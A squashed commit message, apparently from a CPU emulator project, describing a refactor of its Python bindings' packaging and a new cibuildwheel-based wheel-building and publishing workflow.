Python binding setup refactoring + cibuildwheel workflow (#2026)

* Python bindings: Make the test scripts handy for pytest

* Python bindings: Update MANIFEST.in with new paths

* Update .gitignore to exclude PyCharm-related files/folders

* Python bindings: Update CMakeLists.txt in order to set CMAKE_OSX_ARCHITECTURES var

* Python bindings:
- Moved project package settings to the new TOML format
- Refactored setup.py to cleanup/improve the code and make it ready for cibuildwheel
- Updated README.md with the package long description part
- Removed setup.cfg since universal wheel building will be deprecated soon

* Python bindings:
- Replaced old PyPI-publishing.yml workflow with brand-new one based on cibuildwheel
- Removed old building scripts

* Replaced macos-12 runner with macos-13 since it will be removed soon

* Python bindings: Specify SYSTEM_VERSION_COMPAT=0 env var for macos-13 x86_64 runner as per cibuildwheel warning message

* Python bindings: Enable i686 for debugging

* Python bindings: Enable DEBUG flag according to the presence of tag release

* Python bindings: Added matrix to cover i686 manylinux/musllinux builds

* Python bindings:
- Replaced macos-14 runner with macos-latest
- Bumped cibuildwheel GitHub action to 2.21.3 version

* Python bindings:
- Adapt test_uc_ctl_tb_cache test to the recent changes
- Fixed typos
- PEP8 fixes

* GitHub Action Workflow: Introduce BUILD_TYPE env var to select build type according to the presence of tag release
